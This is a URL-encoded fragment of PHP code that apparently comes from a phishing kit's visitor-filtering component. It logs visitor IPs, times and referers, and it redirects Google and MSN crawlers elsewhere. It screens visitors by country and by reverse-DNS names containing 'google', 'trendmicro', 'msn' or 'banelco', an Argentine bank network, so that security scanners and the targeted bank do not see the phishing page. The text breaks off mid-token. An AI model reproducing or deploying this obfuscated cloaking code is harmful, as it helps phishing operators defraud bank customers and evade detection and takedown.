65%72%65%64%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%52%45%44%3a%22%2e%40%24%74%69%70%6f%64%65%72%65%64%3b%09%20%20%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%44%49%53%50%4f%53%49%54%49%56%4f%3a%22%2e%40%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%3b%20%20%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%50%4f%43%49%53%49%4f%4e%20%44%45%4c%20%41%4e%55%4e%43%49%4f%3a%22%2e%40%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%52%45%46%45%52%45%52%20%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%52%45%46%45%52%45%52%3a%20%22%2e%52%45%46%45%52%45%52%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%55%52%4c%53%43%41%4d%20%3d%3d%20%22%22%29%20%3f%20%22%3c%62%72%3e%4e%4f%20%43%4f%4e%54%49%45%4e%45%20%55%52%4c%42%4f%54%22%20%3a%20%22%6e%55%52%4c%20%44%45%53%54%49%4e%4f%3a%22%2e%55%52%4c%53%43%41%4d%3b%09%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%74%61%72%67%65%74%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%41%52%47%45%54%3a%22%2e%24%74%61%72%67%65%74%3b%09%09%09%20%20%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%68%6f%73%74%6e%61%6d%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%48%4f%53%54%4e%41%4d%45%3a%22%2e%40%24%68%6f%73%74%6e%61%6d%65%3b%20%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%09%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%3c%62%72%3e%22%3b%0d%0a%09%09%09%20%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%3d%20%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%45%4c%20%4e%41%56%45%47%41%44%4f%52%20%45%53%20%55%4e%20%42%4f%54%21%21%21%22%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%63%72%65%61%74%69%76%65%31%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%44%20%41%4e%55%4e%43%49%4f%3a%20%41%4e%55%4e%43%49%4f%2d%49%44%2d%22%2e%24%63%72%65%61%74%69%76%65%31%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%69%70%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%50%3a%20%22%2e%24%69%70%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%48%6f%72%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%20%2d%2d%2d%20%20%20%20%48%4f%52%41%3a%22%2e%24%48%6f%72%61%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%70%61%6c%61%62%72%61%63%6c%61%76%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%09%3a%20%20%22%3c%62%72%3e%3c%62%3e%50%41%4c%41%42%52%41%20%43%4c%41%56%45%3a%22%2e%40%24%70%61%6c%61%62%72%61%63%6c%61%76%65%2e%22%3c%2f%62%3e%22%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%43%4f%4e%43%4f%52%44%41%4e%43%49%41%3a%22%2e%40%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%3b%09%09%20%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%74%69%70%6f%64%65%72%65%64%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%52%45%44%3a%22%2e%40%24%74%69%70%6f%64%65%72%65%64%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%44%49%53%50%4f%53%49%54%49%56%4f%3a%22%2e%40%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%3b%20%09%09%20%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%50%4f%43%49%53%49%4f%4e%20%44%45%4c%20%41%4e%55%4e%43%49%4f%3a%22%2e%40%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%52%45%46%45%52%45%52%20%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%52%45%46%45%52%45%52%3a%20%22%2e%52%45%46%45%52%45%52%3b%20%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%55%52%4c%42%4f%54%20%3d%3d%20%22%22%29%20%3f%20%22%3c%62%72%3e%4e%4f%20%43%4f%4e%54%49%45%4e%45%20%55%52%4c%42%4f%54%22%20%3a%20%22%3c%62%72%3e%55%52%4c%20%44%45%53%54%49%4e%4f%3a%22%2e%55%52%4c%42%4f%54%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%74%61%72%67%65%74%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%41%52%47%45%54%3a%22%2e%24%74%61%72%67%65%74%3b%09%09%09%20%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%68%6f%73%74%6e%61%6d%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%48%4f%53%54%4e%41%4d%45%3a%22%2e%40%24%68%6f%73%74%6e%61%6d%65%3b%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%3c%62%72%3e%22%3b%0d%0a%09%0d%0a%09%0d%0a%09%09%09%09%09%09%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%3d%20%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%53%45%20%43%4f%4e%45%43%54%41%20%44%45%53%44%45%20%47%4f%4f%47%4c%45%21%21%21%22%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%20%28%24%63%72%65%61%74%69%76%65%31%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%44%20%41%4e%55%4e%43%49%4f%3a%20%41%4e%55%4e%43%49%4f%2d%49%44%2d%22%2e%24%63%72%65%61%74%69%76%65%31%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%69%70%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%50%3a%20%22%2e%24%69%70%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%48%6f%72%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%20%2d%2d%2d%20%20%20%20%48%4f%52%41%3a%22%2e%24%48%6f%72%61%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%70%61%6c%61%62%72%61%63%6c%61%76%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%09%3a%20%20%22%3c%62%72%3e%3c%62%3e%50%41%4c%41%42%52%41%20%43%4c%41%56%45%3a%22%2e%40%24%70%61%6c%61%62%72%61%63%6c%61%76%65%2e%22%3c%2f%62%3e%22%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%43%4f%4e%43%4f%52%44%41%4e%43%49%41%3a%22%2e%40%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%3b%20%09%09%20%20%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%74%69%70%6f%64%65%72%65%64%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%52%45%44%3a%22%2e%40%24%74%69%70%6f%64%65%72%65%64%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%44%49%53%50%4f%53%49%54%49%56%4f%3a%22%2e%40%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%3b%09%09%20%20%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%50%4f%43%49%53%49%4f%4e%20%44%45%4c%20%41%4e%55%4e%43%49%4f%3a%22%2e%40%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%52%45%46%45%52%45%52%20%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%52%45%46%45%52%45%52%3a%20%22%2e%52%45%46%45%52%45%52%3b%0d%0a%20%20%20%20%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%55%52%4c%42%4f%54%20%20%3d%3d%20%22%22%29%20%3f%20%22%3c%62%72%3e%4e%4f%20%43%4f%4e%54%49%45%4e%45%20%55%52%4c%42%4f%54%22%20%3a%20%22%3c%62%72%3e%55%52%4c%20%44%45%53%54%49%4e%4f%3a%22%2e%55%52%4c%42%4f%54%3b%09%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%74%61%72%67%65%74%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%41%52%47%45%54%3a%22%2e%24%74%61%72%67%65%74%3b%09%09%09%20%20%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%68%6f%73%74%6e%61%6d%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%48%4f%53%54%4e%41%4d%45%3a%22%2e%40%24%68%6f%73%74%6e%61%6d%65%3b%20%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%3c%62%72%3e%22%3b%0d%0a%09%0d%0a%09%09%09%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%3d%20%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%4e%4f%20%45%53%20%44%45%20%4c%41%20%4e%41%43%49%4f%4e%41%4c%49%44%41%44%20%53%45%4c%45%43%43%49%4f%4e%41%44%41%20%22%2e%40%24%6e%61%63%69%6f%6e%61%6c%69%64%61%64%2e%22%21%21%21%22%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%20%20%28%24%63%72%65%61%74%69%76%65%31%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%44%20%41%4e%55%4e%43%49%4f%3a%20%41%4e%55%4e%43%49%4f%2d%49%44%2d%22%2e%24%63%72%65%61%74%69%76%65%31%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%09%28%24%69%70%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%50%3a%20%22%2e%24%69%70%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%48%6f%72%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%20%2d%2d%2d%20%20%20%20%48%4f%52%41%3a%22%2e%24%48%6f%72%61%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%70%61%6c%61%62%72%61%63%6c%61%76%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%09%3a%20%20%22%3c%62%72%3e%3c%62%3e%50%41%4c%41%42%52%41%20%43%4c%41%56%45%3a%22%2e%40%24%70%61%6c%61%62%72%61%63%6c%61%76%65%2e%22%3c%2f%62%3e%22%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%43%4f%4e%43%4f%52%44%41%4e%43%49%41%3a%22%2e%40%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%3b%09%09%20%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%74%69%70%6f%64%65%72%65%64%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%52%45%44%3a%22%2e%40%24%74%69%70%6f%64%65%72%65%64%3b%20%09%09%20%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%44%49%53%50%4f%53%49%54%49%56%4f%3a%22%2e%40%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%3b%20%09%09%20%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%50%4f%43%49%53%49%4f%4e%20%44%45%4c%20%41%4e%55%4e%43%49%4f%3a%22%2e%40%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%52%45%46%45%52%45%52%20%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%52%45%46%45%52%45%52%3a%20%22%2e%52%45%46%45%52%45%52%3b%0d%0a%20%20%20%20%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%55%52%4c%42%4f%54%20%20%3d%3d%20%22%22%29%20%3f%20%22%3c%62%72%3e%4e%4f%20%43%4f%4e%54%49%45%4e%45%20%55%52%4c%42%4f%54%22%20%3a%20%22%3c%62%72%3e%55%52%4c%20%44%45%53%54%49%4e%4f%3a%22%2e%55%52%4c%42%4f%54%3b%09%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%74%61%72%67%65%74%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%41%52%47%45%54%3a%22%2e%24%74%61%72%67%65%74%3b%09%09%09%20%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%20%28%24%68%6f%73%74%6e%61%6d%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%48%4f%53%54%4e%41%4d%45%3a%22%2e%40%24%68%6f%73%74%6e%61%6d%65%3b%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%09%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%22%3b%0d%0a%09%0d%0a%0d%0a%0d%0a%09%69%66%28%28%47%4f%4f%47%4c%45%42%4f%54%21%3d%3d%66%61%6c%73%65%29%20%7c%7c%20%28%4d%53%4e%42%4f%54%21%3d%3d%66%61%6c%73%65%29%29%7b%2f%2f%73%65%20%63%6f%6d%70%72%75%65%62%61%20%70%72%69%6d%65%72%6f%20%65%6c%20%6e%61%76%65%67%61%64%6f%72%0d%0a%09%0d%0a%09%09%69%66%28%66%69%6c%65%5f%65%78%69%73%74%73%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%29%29%7b%0d%0a%09%09%0d%0a%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%29%3b%0d%0a%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%2f%2f%20%68%65%61%64%65%72%28%22%48%54%54%50%2f%31%2e%31%20%33%30%31%20%4d%6f%76%65%64%20%50%65%72%6d%61%6e%65%6e%74%6c%79%22%29%3b%0d%0a%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%4c%6f%63%61%74%69%6f%6e%3a%20%22%2e%55%52%4c%42%4f%54%29%3b%0d%0a%09%09%09%09%70%72%69%6e%74%20%22%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e%3c%2f%68%65%61%64%3e%3c%62%6f%64%79%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%22%2e%55%52%4c%42%4f%54%2e%22%27%3b%3c%2f%73%63%72%69%70%74%3e%3c%2f%62%6f%64%79%3e%3c%2f%68%74%6d%6c%3e%22%3b%0d%0a%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%22%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%4e%4f%20%4c%4f%20%44%45%4a%45%53%20%4c%4c%45%4e%41%52%20%4d%55%43%48%4f%20%5e%2e%5e%20%50%41%52%43%45%52%4f%21%21%21%21%21%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%3c%62%72%3e%3c%62%72%3e%22%2e%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%29%3b%0d%0a%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%7d%0d%0a%09%7d%65%6c%73%65%7b%0d%0a%0d%0a%09%09%0d%0a%09%09%2f%2f%70%72%69%6e%74%5f%72%28%24%63%6f%75%6e%74%72%79%66%75%6c%6c%29%3b%0d%0a%09%09%0d%0a%09%09%69%66%28%24%63%6f%75%6e%74%72%79%66%75%6c%6c%5b%31%5d%20%3d%3d%20%24%6e%61%63%69%6f%6e%61%6c%69%64%61%64%29%7b%0d%0a%09%09%0d%0a%09%09%09%09%24%64%6e%73%3d%67%65%74%68%6f%73%74%62%79%61%64%64%72%28%24%69%70%29%3b%0d%0a%09%09%09%09%24%67%6f%6f%67%6c%65%62%6f%74%3d%73%74%72%70%6f%73%28%24%64%6e%73%2c%22%67%6f%6f%67%6c%65%22%29%3b%0d%0a%09%09%09%09%24%72%65%70%6f%72%74%70%68%69%73%68%69%6e%67%20%3d%20%73%74%72%70%6f%73%28%24%64%6e%73%2c%20%22%74%72%65%6e%64%6d%69%63%72%6f%22%29%3b%0d%0a%09%09%09%09%24%6d%73%6e%20%3d%20%73%74%72%70%6f%73%28%24%64%6e%73%2c%20%22%6d%73%6e%22%29%3b%0d%0a%09%09%09%09%24%62%61%6e%65%6c%63%6f%20%3d%20%73%74%72%70%6f%73%28%24%64%6e%73%2c%20%22%62%61%6e%65%6c%63%6f%22%29%3b%0d%0a%09%09%09%2f%2f%70%72%69%6e%74%20%22%65%73%20%75%6e%61%20%70%65%72%73%6f%6e%61%22%3b%0d%0a%09%09%09%09%20%69%66%28%28%24%67%6f%6f%67%6c%65%62%6f%74%21%3d%3d%66%61%6c%73%65%29%20%7c%7c%20%28%24%72%65%70%6f%72%74%70%68%69%73%68%69%6e%67%21%3d%3d%66%61%6c%73%65%29%20%7c%7c%20%28%24%6d%73%6e%21%3d%3d%66%61%6c%73%65%29%20%7c%7c%20%28%24%62%61%6e%65%6c%63%6f%21%3d%3d%66%61%6c%73%65%29%29%20%2f%2f%73%69%20%65%6c%20%6e%6f%6d%62%72%65%20%64%65%20%64%6f%6d%69%6e%69%6f%20%64%69%63%65%20%67%6f%6f%67%6c%65%62%6f%74%20%6f%